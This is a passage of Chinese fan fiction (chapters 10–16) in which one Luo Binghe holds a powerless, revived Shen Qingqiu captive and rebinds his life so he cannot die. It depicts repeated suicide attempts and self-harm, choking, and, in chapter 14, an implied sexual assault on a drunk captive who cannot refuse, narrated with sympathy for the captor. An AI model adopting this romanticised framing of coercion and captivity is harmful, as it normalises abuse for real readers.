冰哥手中的心魔剑已是离鞘状态,随时准备暴起。若是这个世界的’沈清秋‘不愿意说的话,冰哥不介意帮他回忆回忆。 冰妹看着冰哥的动作,眼神变得危险起来,他微微眯起眼睛,语气中带着一丝威胁的意味:“难道说......你是想看我们......” 沈垣听到这话,急忙出声制止:“冰河,不行!” 冰哥看着冰妹准备扒衣服的举动,知晓今天这个问话应该是问不下去了。 随着冰妹的动作越发离谱,忍无可忍的冰哥举起手中的心魔剑,用力一挥,破开了一条通道,然后头也不回地转身离去。 通道中,隐隐约约还能听到沈垣嘴里嘟嘟囔囔地念叨:“你这孩子,那可是冰哥啊!你怎么敢这样刺激他.....” 10. 结局的他们,至始至终,都不可能携手 10.你要如何才能理我 冰哥返回自己世界时,沈清秋即将苏醒。他缓缓走到床边,凝视着那张沉睡却苍白无力的脸。沈清秋的额头微微渗出汗水,呼吸短促而急促,仿佛陷入了梦魇。 冰哥不由自主地轻轻叹了口气:"看来,这样平静的日子即将画上句号了。" 他的目光停留在沈清秋的脸上,心中涌起一股复杂的情感。这个男人,既是他曾经的敌人,也是他耗费数十年时光、竭尽全力唤醒的牵挂之人。 梦境。 “七哥?”是一个熟悉的声音。这个声音似乎经常听到,却一时想不起在哪里听过,来自何方。 “小九。”另一个声音回应道。同样充满了熟悉感,仿佛在不久前刚刚听到过。 随着视线转动,那个喊‘七哥’的人,用的是沈清秋的脸。 “啊!”沈清秋猛地惊醒过来,浑身被汗水湿透,头部传来阵阵剧痛。 "怎么了?" 冰哥迅速来到沈清秋身边,关切地递上一块手帕。他注意到沈清秋的表情有些紧绷,与起初的冷淡警惕相比,此刻的他更像是经历了一场蜕变,瞬间成熟了许多。 “做了个噩梦。”沈清秋深吸一口气,试图平息内心的慌乱。他的声音略微颤抖,眼神中还残留着一丝恐惧和迷茫。 冰哥默默地看着他,没有说话。他知道,即使不是这次,沈清秋的记忆也会在近期恢复。他原本还有一丝侥幸心理,但现在看来,这只是自欺欺人罢了。 冰哥敏锐地察觉到沈清秋对自己的躲闪与警惕,他轻轻拍了拍沈清秋的肩膀以示安慰。然后走出屋子,看向天空中的月亮。 “该来的总会来的,能得这段时间的平静,已是不易。” 随着时间的流逝,沈清秋变得愈发严肃沉稳,他开始沉默寡言,不再像从前那样平淡地称呼冰哥为“师尊”,而是改用“你”来指代。 冰哥看着眼前这个日渐陌生,不,应该说是越来越像记忆中的那个人,心中已经有了预感。 —— 沈清秋修为尽失,内力无法支撑他离开。 冰哥虽知道这人大概率恢复记忆,却不愿打破此时难得的温馨氛围。他不知道沈清秋的记忆究竟恢复到了何种程度,也不敢轻易询问。他想用梦魇试探一下,又怕刺激到他。 试探、避让、厌恶与闪躲,这些情绪在两人之间愈发明显。每一个细微的表情和动作都蕴含着错综复杂的情感,使得他们之间的关系变得愈发微妙而紧张。 冰哥深知沈清秋时刻都在谋划着逃离,同时也明白他一直有意回避自己。 然而,沈清秋同样清楚,他绝无可能轻易脱身。更重要的是,以他的实力根本无法战胜冰哥。在这个以实力为尊、修为至上的世界,没有实力,就算是出去了,也无处可去。 冰哥想霸王硬上弓,但过去的经历告诫他,结果无非是沈清秋再死一次。 —— "赌一局?" 沈清秋摆放好棋盘,面色平静。 "你,记起来了?" 冰哥罕见地问出一句废话。 “赢了就告诉你。”沈清秋的目光平淡如水。 "输了呢?" 冰哥的声音带着一丝不易察觉的颤抖。 "放我走。" 沈清秋的回答简单明了,却又如同一把利剑直刺冰哥的心脏。 “不可能!”冰哥的声音带着不可置信的愤怒。 “哦。”沈清秋不再理会,仿佛对冰哥的反应毫不在意,他只是自顾自地继续下棋、喝茶,完全沉浸在自己的世界里。 冰哥凝视着眼前这个纠缠了两世的男人,心中充满了痛苦和无奈。他不理解,为何沈清秋对自己总是如此冷漠,明明在冰妹的世界不是这样的! “你要怎样才会理睬我?”冰哥的语气中带着最后的希冀。毕竟,他也曾抱有幻想。 然而,沈清秋的脸色依旧平淡,回答也依然冰冷:“绝无可能。” “为何?”冰哥的眼中闪过疑惑,这个问题他想问很久了,却一直得不到解答。 沈清秋微微抬起头,看向冰哥,嘴角泛起一抹淡淡的笑容:“人怎会与畜生为伍。” 这句话如同一把重锤,狠狠地敲在冰哥的心上。他瞪大了眼睛,难以置信地望着沈清秋,嘴唇微微颤抖着,却说不出一句话来。 他甚至开始怀念起自己世界的沈清秋,至少那个人的眼中还有仇恨。 许久之后,冰哥打算拿出杀手锏:“你……” “无非就是再死一次。”沈清秋脸色平静,一个连死都不怕的人,又有何牵挂? “你不怕...”冰哥故技重施,想用苍穹山派来要挟沈清秋。 可惜沈清秋压根不接招:“你随意。” 冰哥愣住了,他完全没想到沈清秋会如此决绝地回应自己的威胁。在他原本的设想中,沈清秋必定对苍穹山派有着深厚的情感和牵挂,而这种牵挂足以让他心生畏惧。 沈清秋的记忆一旦恢复,他就拥有了师门、亲朋、弟子,不再是那个没有记忆、没有软肋的人。 “你真的不在乎?”冰哥的声音中流露出难以掩饰的苦涩。若是师门和弟子都不能捆绑于他,他还能用什么留住他? 沈清秋静静地凝视着他,眼眸中平静如水,毫无波动:“我说了,随你便。” 面对沈清秋如此坚定的态度,冰哥心头涌起一阵无力感。他紧咬着牙关,转身缓缓离去。他的背影无比落寞,仿佛失去了支撑身体的最后一丝力量。 沈清秋望着他渐行渐远的身影,心中涌起一股复杂难言的情绪。此时此刻,沈清秋不仅恢复了关于这个世界的记忆,甚至还拥有了冰哥那一世的记忆。这些回忆如潮水般涌上心头,令他倍感痛苦和无奈。 本来,这一世就已经充满了艰辛与困苦,如今更要承受来自前世的折磨。若不是他无法击败冰哥,且多次自杀未遂,他又怎会如此平静地面对一切?每一个选择的背后,都隐藏着无尽的辛酸与苦楚。 他杀不死对方,也没办法摆脱对方。 而且洛冰河还不知用了什么方法,令沈清秋无法自杀——或者说,自杀的第二天,就会恢复生命,再次睁眼看到这个并不美好的世界。 目前的他只是冷漠对待,平淡生活,已是非常不易了。若是给他一个机会,他更想杀穿世界。 —————————————————————————————————— 11.岳清源,真是什么时候都绕不过啊 “我知道了。”冰哥认真的看着沈清秋:“你曾经对岳七报以期待,但他却辜负了你,所以你不再相信任何人。” “!”沈清秋手里的杯子被捏碎,鲜血混着碎末一起,看起来极为吓人。 “你以为你是谁?”沈清秋怒了。 一直以来,哪怕是他刚醒的时候,怀疑自己夺舍于人,被人囚禁,修为全失。 他不满、愤恨之后,也都平淡接受了。 但这一点,也唯有这一点。绝不能忍。 他可以接受秋大少将他当成玩具,也可以接受冰哥将他视为阶下囚折辱。 这些所有,看似主动权在对方,但是否“服软”,是否“寻死”,是否“接受现实”。皆在于沈清秋自己。 可,唯有这一件事。 是沈清秋将希望给予他人,继而得到一个虚无缥缈的承诺。 最重要的是,他信了。还视为信仰。 每当扛不下去的时候,一想到还有人在等着自己,还有人会回来拯救自己。 他就能将血泪咽下,继续抗下去。 可。人终究只能自救。他终于还是在沉默中爆发,最后大火淹没一切。 没碰到岳七的时候,他还能安慰自己:“岳七死了,他要努力活下去,为岳七报仇。” 可,岳七不仅没死,还是名扬天下的苍穹山派预备掌门、穹顶峰首席大弟子。甚至还得峰主赐名“岳清源”。 于是沈清秋知道,沈九早就该死了。脆弱的人,不配在世间活着。 可笑他还坚守着“岳七定会来救他,他忍忍就好了”的信念,一日日困死秋家。 现如今,囚禁自己的人,不仅突然间性情大变,还说什么“我知你不信任任何人,但我会努力让你信任我” 信任什么? 信任一个囚禁自己,还灌给自己“悲惨上一世”的人吗? 怎么,嫌跌的不够惨,还要再来一次吗? 羞辱,没问题。谁让他确实弱于对方。 可,若非要攻心,沈清秋绝不允许! 是,没错 他可以服软。 但为什么? 服软有什么好处呢?敌人并不会因为你的服软和投降而减少折辱。甚至会因失去“骨气”而更多的言语羞辱。 在其次,若是服软,之前的坚持又算什么? 服软之后,他又该用什么去支撑自己活下去? 没错,行尸走肉固然能活,但人丢掉了底线,失去了心气,活着,与傀儡何异? 他不愿原谅岳七,是不想愧对已死去的沈九。 他不能接受,在沈九因信念崩塌死去后,又因“沈清秋希望得到温情”而被另一个反复提起! 这是对自己的背叛。 亦是对过往的否认。 —— 冰哥看着气的捏碎杯子的沈清秋,直觉自己做错了。他连忙拿出金疮药和手帕,为沈清秋包扎伤口。 可惜,除了沈清秋冷冷的一眼,外加毫不犹豫的甩袖走人,再无其他。 “果然。”冰哥看着沈清秋毫不留情的背影,心中抽搐一下:“岳清源,永远是沈清秋心里最独特的人。” “可 ,你什么时候,眼里能有我呢。” —————————————————————————— 12.本冰:别想糟蹋我的魔界 冰哥设置好禁制后,心魔剑划开通往魔宫的通道,缓缓转过身又看了一眼“关押”着沈清秋的小屋,迈着沉重而愤恨的步伐,朝着这个世界的洛冰河魔宫走去。 一路上,他心中思绪万千,但脸上却始终保持着冷漠和淡然。 进入魔宫后,冰哥径直走到了大厅中央,一屁股坐在了那张华丽的王座之上。他默默地凝视着前方,眼神中透露出一丝无奈和哀伤。 得到消息的本冰赶到宫殿,看着陷入沉思的emo冰哥,毫不掩饰的哈哈大笑了起来:“兄弟!你不至于吧!这是咋了啊?” 冰哥本忧伤的不行,正四十五度角仰望星空,被本冰的一阵嘲笑气的肝疼,毫不犹豫的拔出心魔剑,就要与本冰对打。 “我说你够了啊!”本冰拔剑抵挡:“你在自己世界都已经是两界尊主了,自己的东西看不好非来抢我的。趁我在魔界开辟疆土的时候把敌人掳走不说,没点本事还把人搞成活死人,最后拉不下脸求我不说,还把我下属拐走,自己却一天天守着敌人的尸体跟一个活死人过日子。现在活死人醒来,却又成了个琉璃娃娃,寻常人等碰不得。” 本冰将冰哥推远,心疼的快速用储物袋将周围物品收起来:“我说你想打就出去打,在我家里打什么啊!知不知道这都是我的心血啊?” 冰哥毫不留情的一剑挥过来,又损失了不少奇珍异宝。本冰愤怒了!他要开始扎心了! “喂,你别忘了,那本是我的东西!”他快速的翻滚一圈,将殿内的物品全部收好:“若不是你我同源,你又对他宝贝得紧,我早就将他弄到地牢,好生‘伺候’着了!” “滚!”锋锐的剑气对着本冰的喉咙袭来,以他为圆心的一寸之内,风波流转,杀意凌冽,浮尘掠起,气流澎湃而起,无数杀机隐含其中! “切,”本冰看了眼空空荡荡的宫殿,满意的点点头,随手一挥化解剑气:“我说,你干嘛非要留他性命?你看看他现在的样子,跟个傻子有什么区别?他失忆的时候,你陪他玩过家家;他现在恢复记忆了,你又开始整天emo。” 冰哥不理会本冰的嘲讽,只一心一意的想弄死这家伙。他将剑气化为剑雨,径直向本冰砸去。 本冰说的没错,冰哥也知道。每当他看着虚弱躺在床上、用尽一切办法也不能修炼的沈清秋,心里是有窃喜和不安的。 他当时的想法是怎样的呢?’如果有朝一日沈清秋真的恢复了记忆,当他看到如今虚弱至此,筋脉尽断,修为全失无法修炼的自己时,怎么可能接受这种落差呢?恐怕会毫不犹豫地与他拼命或自杀吧!但当他知道自己死不掉,他也死不掉的时候,恐怕会更加心志崩溃——简直不要太有趣。’ 冰哥以为自己能拿捏到沈清秋的软肋,无论是失忆的还是恢复记忆的。 当然,当他看到曾经的深沉、沉默寡言、冷酷无情且强大无比的沈清秋,因身居高位,自有掌控一切的权柄和威压;变得如此软弱无力、任人欺凌,甚至会用冷漠平淡的语气看向自己,喊他一声‘师尊’。 冰哥的心里会更加激动,简直犹如中蛊般诱惑。 可。 为什么事情会变成这样呢? "他不理我……"冰哥突然开口说道,声音中带着无尽的苦涩。 本冰看着一片狼藉的宫殿,以及面前那个悲伤到心魔剑都能乱丢的家伙,觉得此情此景适合喝酒。 他也不想修缮什么宫殿,反正自己养了那么多下人,就让他们干好了。 本冰拍了拍手,让人快速摆了两张桌子和一堆美酒,今天打算跟兄弟共饮、不醉不归! 冰哥看着眼前的美酒佳肴,毫不客气的坐在左边,捡起一块牛肉大口咀嚼。他端起面前的酒杯,仰起头一饮而尽。 边喝,冰哥边幽怨的抱怨着:“他为什么不理我。” 坐在一旁的本冰听到这话,不禁皱起眉头。他看着眼前这位曾经意气风发的男人,如今却变得如此消沉和落寞,心中不禁涌起一股同情之情?哦不,是幸灾乐祸的嘲笑。 "兄弟啊,你何苦呢?”本冰是想笑他的,非要捡垃圾回去养着,现在好了,被伤透了吧?可他看着冰哥的样子,又不忍心再说重话,只能无奈道: “舍去了那么多珍贵的灵宝和血液,只为换得一个对你冷漠无情的人。值得吗?"本冰轻声叹息,随手一挥,又有几名护卫走上前来,为两人送上美酒。 冰哥没有回答,只是再次举起酒杯,大口灌入。他的动作显得有些粗鲁和失态,仿佛想要借着酒精来麻痹自己内心的痛苦。 "你不懂……"冰哥喃喃自语道,"他对我来说,比任何宝物都要重要。只要能让他留在我身边,付出再多代价也值得。" 本冰无奈地摇了摇头,对于冰哥这种执着的爱情观,他实在无法理解。然而,作为朋友,他还是选择了默默陪伴在冰哥身旁。 毕竟,他是个正常龙傲天,所有的妹子会主动投入他的怀抱。就算是敌对势力,也会被他的傲天伟力所吸引,最后拜入自己后宫之中。所以,他还真没吃过爱情的苦,不懂这种‘失恋’‘他不理我’的痛。 “不是兄弟说你,”本冰想再次纠正一下冰哥的世界观:“是妹子不香不软,还是你后宫花样不够多?咋的你就跟一个男人杠上了呢?” 冰哥难得的从酒壶堆里抬头:“你不想让他温柔对待你?” “咦~”本冰打了个寒碜:“兄弟,你恶心自己可以,别恶心我啊。我觉得我需要和我的后宫们贴贴。” 冰哥打了个酒嗝,眼里弥漫着看不清的水雾:“我只想让他跟我正常点聊天,眼里有我。别对我那么冷淡,这都不行吗。” 本冰看着明显醉酒的冰哥,又忍不住扫了一眼周围的废墟,心里果断下评论:这是个极度危险的家伙,放任他留在这里,第二天、甚至不用天明,别说这一个宫殿,就算是整个魔界,都不一定能安安生生的待下去。 “好了,别再喝了。你已经醉了。”本冰冷冷地说道,"这里是我的宫殿,不是你发泄情绪的地方。请你离开吧!" 听到这话,冰哥猛地抬起头,眼中闪过一丝迷惑和不解。但很快,他便恢复了平静,苦笑着说道:“连你都容不下我。” “不是兄弟不帮你!”本冰拒绝和g.a.y聊天:“我的后宫还有诸多万紫千红等着我,哪像你一样非要自讨苦吃,守着个冷被窝!” 他果断用心魔剑划开时空通道,将冰哥‘丢’回到他的屋子里:“有胆量就趁机去睡人,没胆子就在这发酒疯,别想糟蹋我的魔界!” —————————————————————————————— 13.本冰:和你们比起来,我简直纯洁的不像魔 冰哥被本冰扔回家了。 字面意义上的“扔”,毫不留情的那种。 “扑通”的声音,愣是将没啥好奇心的沈清秋都给吸引过来了。 原因很简单,本冰扔的,是沈清秋的屋子。 本冰一手拎着醉了、还没撒酒疯的冰哥,一脚踹开了沈清秋的门,接着非常随意的将冰哥扔到里面,喊了句:“沈清秋!我把这个酒鬼给你送回来了!不用谢我!” “?”啥玩意?啥子的给我送回来?还不用谢? 沈清秋虽然性格冷了点,不代表他没有好奇心呀。尤其是一个人形玩意被扔到自己门口,这谁能忍住不去看一眼? 但就这么一看。 哈?两个洛冰河? 哦。沈清秋立马恢复了面无表情,并且很不客气的用脚把冰哥“送”了出来——不用担心,他是虚弱,但是还能踹动人的。 他之前也怀疑过自己的记忆,明明他刚将洛冰河踹到深渊里面,咋的没几天就爬出来了?而且这家伙的修为也有点强的离谱。 更何况这玩意赖死赖活非跟着自己,魔界咋搞?他可不信洛冰河这种生物,能为了折腾他放弃整个魔界! 现在真相了,这玩意是别的地方过来的。而沈清秋莫名多的哪世记忆,十有八九就是这玩意的。折腾人的手段,可真不少。 本冰看着眼前面无表情的沈清秋,又瞧了一眼被踢出来的冰哥,脸上的笑容简直快要咧到耳朵根去了:“哈哈哈哈哈。师尊,好久不见!没想到这么多年过去了,您这副性子竟然还是如此恶劣,半点儿改变都没有!” 沈清秋平静地看着眼前这两张几乎一模一样的面庞,嘴角微微上扬,露出一抹似笑非笑的神情来。他用一种充满挑衅意味儿的语气,发出了一句直击灵魂深处的质问:“哦?你就这么轻而易举地接受了一个来自外界的‘自己’吗?” 原本还在笑着的本冰听到这话后,脸色瞬间变得阴沉下来。他的双眸之中闪烁着一丝危险的光芒,死死地盯着沈清秋,咬牙切齿地道: “师尊,不管时间过去多久,您这张不饶人的嘴,依然还是那么令人讨厌呢!” 面对本冰的指责,沈清秋只是不置可否地点点头,然后云淡风轻地反问道:“既然如此,那你现在打算怎么做呢?” 本冰看眼还醉着的冰哥,随意打了个响指:“师尊,他一个外来者,如何能与你性命相连?”接着,本冰直接用心魔剑砍向自己胸口:“感受到了么?剜心之痛。” 本冰看着疼的满脸苍白、不自觉揪着心口的沈清秋,脸色藏在阴影中,辨不清神色:“虽然我没办法用天魔之血折腾你,但是你最好祈祷我不要受伤。” 他瞬间移动到沈清秋的身边,掐着他的脖子:“毕竟,你我可是同生共死、重伤共享呢。”说罢,他将沈清秋扔向门口:“若不是他非要捡你这个垃圾败类养着,我会好好邀请你去地牢做客的。” “咳咳”沈清秋艰难地捂着喉咙,从地上缓缓站起,他的脸色苍白如纸,刚调养没多久的身子根本扛不住这样的‘重伤’。他的目光中透露出一丝绝望和无奈,嘴角却挂着一抹搞事的笑容。 “你可真听他的话啊。”沈清秋的声音沙哑而低沉,似乎每说一个字都需要付出巨大的努力。 本冰的眼神微微眯起,透露出一股冷冽的气息。他紧紧盯着沈清秋,眼中闪烁着寒光:“师尊,看来你是真的不想活。” 沈清秋毫不掩饰地撕开了两人之间的虚伪,他的话语直白而尖锐:“没错,我本就不想活,是你们强行让我醒来。倒是你,被迫与我一同生死的滋味如何?你的咽喉也不好受吧?” 本冰的拳头紧握,指甲深深陷入掌心,心中的愤怒和痛苦难以言喻。如果眼神能够杀人,那么沈清秋恐怕已经被他斩杀了无数次。他和冰哥的思维方式如出一辙,都喜欢拿捏人的软肋。 “你不想活也就罢了,难道你想让苍穹山派的那些人也跟你一起陪葬吗?”本冰冷冷地说道,语气中带着一丝威胁。他深知沈清秋对于苍穹山派的重视,这句话绝对够有分量。 “无妨。”沈清秋依旧是那副油盐不进的样子,甚至还很有闲心的整理了一下衣服,指着醉倒的冰哥笑了下:“你能想到的,他都做了一个遍。” “不仅如此,他还专门来到你的世界与我红袖添香。”沈清秋的眼神不知是彻底躺平还是早已癫疯: “我早就失去过所有,甚至还沦为他人的床奴与玩物,连性命都掌握在他人手上,还能怕什么?” “嘶——”本冰倒吸一口凉气,心中暗自惊讶不已,至此他才算是真正了解到冰哥这个人到底有多么疯,而沈清秋又是多么癫! 原本他还天真地认为,沈清秋不过是被冰哥娇惯宠溺着罢了,偶尔耍耍小性子。就如同被主人宠坏了的小猫一般,偶尔伸出爪子挠伤一下主人的手脚而已。 他万万没有料到的是,冰哥所饲养的根本就是一头凶猛无比的烈虎!而此次被唤醒的,则更像是一只已经饥饿许久、对整个世界都充满了怨念与愤恨的恶灵! 经过如此这般对比后,本冰情不自禁地开始质疑起自身来,他真的无法确定统治魔界的自己与沈清秋相比,到底谁更像魔。 “你……”本冰面对黑化后的沈清秋,实在有些难以应对。 “呵。”沈清秋轻笑一声,转身走进屋内,说道:“我如今已是一介废人,魔尊怕什么?” 话虽如此……可是……本冰心想,作为一个正常之人,还是尽量避免与这类精神失常者一同玩耍为妙。 本冰深明“识时务者为俊杰”之理,当机立断地用心魔剑化开裂缝,并道: “师尊,今日我们交谈得十分愉快,下次再会。” “呵。”沈清秋看也不看门外的两只,随手将门关上,准备吹灯睡觉。 ———————————————————————— 14.借酒消愁愁更愁 "师尊。"那阴魂不散的声音在沈清秋耳边响起,如泣如诉,"你的心好狠呐。" 沈清秋停下准备脱衣睡觉的动作,转身扭头。只见之前那个醉倒在地、几乎要沉睡不醒的家伙,不知道什么时候进来了。 嗯,没有修为果然不好办事,看,居然让这醉鬼摸进了屋子里。 "再狠能有你狠?"沈清秋可不会委屈自己,迅速将被子收拾好,然后有些虚弱地靠在上面。他微微眯起双眼,狭长的眼眸垂下,此刻的他看起来就像一只无害的猫咪。 冰哥感到十分委屈,一边揉着心口,一边顺手拉过一把凳子,坐在沈清秋身旁。 "师尊啊。"冰哥觉得借酒消愁无济于事,只有把心中的疑问说出来才能解决问题。于是,他决定打直球发问:"你为何不喜欢我?" "嗤。"沈清秋终于还是没忍住,轻笑出声。然而这一笑却牵动了胸口和喉咙的伤势,让他不禁发出"嘶"的一声痛呼。 他笑得连眼泪都快流出来了,沙哑又喘息着说道:"人又怎会喜欢牲畜呢?小畜生,你的想法倒是挺特别的。" “……”多少年了,没听到沈清秋喊自己‘畜牲’。冰哥今天喝了点酒,脑子发昏,不想想那么多。 而且眼前之人毫无修为,没有内功,无法反抗自己。加上刚才本冰的‘砍心’与‘掐喉’,成功让沈清秋白的像是死了几天一样。这一切,都在表明:眼前之人,软弱可欺。 不过,为了‘师出有名’,更为了‘可持续发展’,冰哥打算做得隐晦点。 “师尊。”冰哥从储物袋摸出一壶桃花酿,又取出两枚酒杯。将桌子挪过来,添上各式糕点,分于沈清秋一杯。 沈清秋倒是完全放开了,也不在乎对方有没有下毒,直接就喝。还顺便品鉴了一下:“桃花味不错,应该酿了有十年吧。” “师尊……”冰哥小心翼翼地替沈清秋斟满酒杯,开口与他商量道,“您之前说要打赌,现在还要继续吗?” “赌什么?”沈清秋已经放弃用酒杯喝酒,直接举起酒壶仰头便灌,颇有些“李白举酒诗百篇”的豪迈气势。 “我想知道您为什么讨厌我。”冰哥对这个问题异常执着,甚至已经到了近乎偏执的程度。 沈清秋随手将喝空的酒壶扔给冰哥,不耐烦地道:“不喜欢就是不喜欢,哪来那么多为什么!” “不。”冰哥依旧坚持己见,“如果我赢了,您就算编造,也得有一个说得过去的理由。” “行。”沈清秋拿起另一壶梨花酿,先是浅浅小酌了一口,紧接着似乎觉得这样喝不过瘾,索性直接对着壶嘴吹:“那要是你输了呢?” “我放您出去玩一天。”冰哥可是下了血本,沈清秋现在唯一的爱好就是想出去,唯一的想法就是想方设法离开,这个条件,沈清秋不会拒绝。 果然,沈清秋眼睛亮了一下:“这一天,你可要离我远一点。” 洛冰河听后,点了点头,语气恭敬地说道:“自然。若是您喊我,弟子随时都在。” 沈清秋嫌弃地看了他一眼,心里暗自诽谤道:‘劳资恨不得离你八百远’他随意的挥了挥手,像赶苍蝇一样催着洛冰河离开。 见此情形,洛冰河也不生气,只是静静地看着沈清秋,眼中闪过一丝不易察觉的宠溺。由于这份情绪来的太快、消失也迅速,就连冰哥本人也没察觉出来。 这时,沈清秋本能的察觉到一丝不对劲,于是他突然开口问道:“赌什么?” 洛冰河想了想,回答说:“色子?” “不行。”沈清秋一口否认。他可是风月场的常客,自然知道这玩意儿有多少种出千的手段。而且,他现在失去了修为,要是真和洛冰河玩起色子来,那岂不是只有输的份儿? 洛冰河似乎早料到他会这么说,于是又提议道:“八卦问卜?” “……”沈清秋看着跃跃欲试的冰哥,额头上有几条黑线滑落。他严重怀疑,冰哥是趁此机会,想看他功力恢复了几成!这家伙绝对不可能不知道自己是残废,难不成想跟他赌求神问佛不成? 冰哥接着提出一个看似平常公平的赌局:“猜正反?” “……”沈清秋一脸狐疑的、如同看傻子的表情看着面前之人,他现在怀疑冰哥是真的醉了,他真的要跟一个醉鬼打赌吗?万一赢了他不认怎么办? 想到这里,沈清秋果断地摇了摇头,决定不再理会冰哥的无聊提议。他顺手拿起一块海棠酥,一边细细品味着那香甜可口的味道,一边悠哉悠哉地喝起酒来。 醉酒当歌、人生几何?自清醒后,沈清秋一直在努力梳理脑海中的记忆——他发现,不仅是这一世,他还通过血脉,隐约看到了本冰的记忆,和冰哥的记忆。 事实上,沈清秋有点怀疑,冰哥记忆里的‘魂飞魄散沈清秋’和‘温柔体贴沈清秋’,究竟是不是自己? 如果是,那他属于第三世吗?如果不是,那这些,是不是都是秘境产物,能否利用一下,以解他目前逃不脱的局呢? 沈清秋已经自杀很多次了,只是每次都不成功。他不清楚具体的原因,不过今天本冰过来,倒是稍微了解了一点: 洛冰河的天魔之血能不死不灭,冰哥貌似通过了什么仪式,将他与本冰的性命连在了一起,成为死不掉的存在。 问,一个没有修为,无法使用灵力和魔气的,身体还比其他人虚弱的,死不掉的存在,算是什么? 这些林林总总,占据着沈清秋的思维,让他不由自主的一直思索着,期待能从中抽出一两根的线索,让他从中寻到可运作的破绽。 冰哥看着地上已堆积了一片的酒壶,心里难免有些嘀咕……沈清秋,不会千杯不醉吧? 若是他修为还在,冰哥尚会怀疑这家伙用灵力转化酒力;可他清楚的知道沈清秋灵根已毁,世间毫无修炼可能,总不能真有凡人天赋异禀、千杯不醉? 算了,若真的灌不醉,那只能…… 毕竟冰哥本身的打算就不纯。 打赌什么的,沈清秋不会因为赌输而留在自己身边;冰哥不会因为赌赢而真的得到沈清秋的心。冰哥不会因为赌输而放人离开;沈清秋也不会因为赌赢重新修炼、获得能离开冰哥的契机。 既然如此,赌注都是双方给不起的东西,打赌的意义不大。 还不如…… 芙蓉帐暖度春宵,一夜红烛泪。 一个死不掉、又无力反抗的家伙,是没办法拒绝别人的。 冰哥紧紧的将睡着的人搂在怀里,亲密的吻着他的额头。“师尊,别恨我。” 至于沈清秋之后的寻死觅活? 啊,没关系,冰哥已经釜底抽薪,让人死不掉了。 ———————————————————————————— 15.本冰:合着我就是疗伤工具人呗 本冰望着手腕处突然冒出来的深深割伤,心中不禁涌起一股无法言喻的痛楚。他不由自主地回想起今日所遇见的那个身影,心头一阵抽搐,忍不住暗骂道:“他娘的,那两个疯癫的家伙又开始折腾了!” 这段时间以来,本冰已经逐渐适应了这种奇怪的生活状态。自从沈清秋醒来,他的身体总会莫名其妙地增添一些看似极其严重、实则足以令他陷入休克的伤口。 每一道伤痕,都能看出来下手者的狠心和决心,摆明了打算与世长辞。而这一切的始作俑者,毫无疑问就是那个人! 沈清秋,这个名字如同梦魇般缠绕在本冰的脑海里。他实在想不通,为什么沈清秋会如此决绝,甚至不惜以伤害自己的方式来寻求解脱。难道活着对于他来说,真的就如此痛苦不堪吗? 本冰默默地叹息着,眼中满是无奈和忧虑。 他再次谩骂当时脑子抽抽的自己,为什么要答应冰哥的要求?! 沈清秋是真的不想活啊…… 但是本冰想活啊。 本冰在这个世界好好的,又是开疆辟土、统一天下,又是莺莺燕燕、暖香窃玉的缠绕。他本可以快乐似神仙! 奈何冰哥郎心似铁,非要拉着本冰与沈清秋换血,最后还搞了个‘生死相依,重伤共享’,搞得本冰总是在莫名其妙的时候参与到了他们的游戏中。 就连魔宫之中医术最为精湛的那些大夫们也感到十分疑惑不解,他们实在想不通为何魔尊大人在最近这段时间里总会无缘无故地陷入濒临死亡的状态。 特别是当他们看到魔尊那张毫无生气、仿佛对世间一切都已失去兴趣的脸庞时,这些大夫们更是心急如焚。而他们能做的,也无非是急忙命令太医院增派更多人手,以确保能够及时应对这种突发状况。 今天,当沈清秋说出那句“你真的甘心与我性命相连?”时,本冰是真的动了杀心。这句话犹如一把利剑,直刺本冰的痛点。 他心里非常清楚,自己根本不愿意和沈清秋有任何的牵连。如果不是冰哥强硬要求,他甚至会觉得看到沈清秋自杀会比任何事情都让他感到快乐。 哎!本冰迅速呼喊太医前来诊治——再不快点,恐怕就来不及在晕倒前喝药了。然而,时间紧迫,一切都已经太晚了。 果然,下一刻,本冰就晕倒在床上,不省人事。 旁边刚收入后宫的妹子都快吓死了,生怕自己被当成刺客抓起来。好在太医第一时间赶来,经过一番紧急救治,暂时稳住了局势。 太医向众人解释道:这次的晕倒与之前无二,都是未知原因导致的濒死。换而言之,与这位新入门的妃子无关。 妹子先是谢了一个遍,感谢太医出言,保她小命。接着看着太医院里忙碌的众人和花样百出的救人手段,一时间有些呆愣。 她偷偷地拉了一位侍卫,小声问道:“魔尊这是怎么了?为什么会突然晕倒呢?看起来,好像要死翘翘的样子。” 侍卫面无表情地看了她一眼,语气冷淡地说道:“不该问的别问,赶紧走吧。”然后便转身回到自己的岗位上,笔直地站立着,仿佛什么都没有发生过一样。 妹子心中虽然还有许多疑问,但也不敢再多说什么,只能默默地离开了这里。她知道,在这个充满危险的世界里,有些事情还是不要知道太多比较好…… ____________________ 16.冰哥想要的,从一开始就不存在 冰哥千里迢迢追过来,是想要沈清秋的爱。可惜,这是注定得不到的东西。 他苦等了五十多年,终于将沈清秋唤醒。可惜唤醒的是个谨慎性子,别说进一步,能冷淡地呼唤他做事,就是万幸了。 冰哥刚想试探一下,沈清秋就果断要求出去遛弯,又碰巧遇见苍穹山派的人,简直是紧赶着开始恢复记忆。 人是越来越冷,眼神也是越来越淡。整个人,除了修为尽失,简直比之前还像无欲无求的仙人——大抵是修无情道、或者拜入道家的程度。 冰哥心知肚明,沈清秋一定是经过无数次自杀未遂后,才从绝望和自我放弃转变为如今这般无所谓的状态。 讲真,这种‘无所畏惧’的情况,简直比上一世的恨还要吓人。 又加上本冰轻而易举的被沈清秋三言两语吓走(沈清秋:三人行?本冰:别介!我后宫们在召唤我!)。冰哥感觉,沈清秋是真要羽化成仙,超脱凡尘了。 “师尊,你别吓我。”冰哥心都在打颤。 “一个床奴而已,有什么吓不吓的。”沈清秋已经心死、沉睡五十多年过了。他自杀多次都不成功,又没办法‘故技重施’的继续沉睡,除了痛苦又清醒的活着,也做不了别的。 “你……”冰哥看着面色平静、毫无反馈的沈清秋,心里想抓住却抓不住的感觉,越发明显。 于是,冰哥开始翻旧账、寻求机会: “师尊。我知道你重情重义,却又为声名所累。” “哦。” 沈清秋一脸冷漠地回应着,眼神中没有丝毫波动。他的内心像是一潭死水,任何的外界刺激都无法掀起波澜。 冰哥见状,继续说道:“师尊,我懂你,你从泥潭爬上峰主,见过太多不可信之人,所以也不再信任。” 他的声音带着一丝理解与温柔,想要触动沈清秋那颗冰冷的心。然而,沈清秋依然不为所动,只是淡淡地回答道:“哦。” 冰哥有些着急,他忍不住提高音量,服软道:“师尊,我知道错了,我不该将我喜欢的东西拼命送给你,却不考虑你的想法。” 